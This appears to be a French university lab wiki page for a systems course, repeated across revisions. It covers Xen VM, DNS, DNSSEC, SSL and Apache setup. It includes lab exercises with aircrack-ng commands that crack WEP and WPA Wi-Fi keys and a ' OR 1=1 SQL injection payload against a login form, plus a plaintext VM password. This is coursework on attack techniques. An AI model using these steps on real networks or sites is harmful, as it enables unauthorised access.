On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57812TP sysres IMA5 2021/2022 G112022-01-10T18:25:28Z<p>Cgodet1 : /* Securisation du DNS avec DNSSEC */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
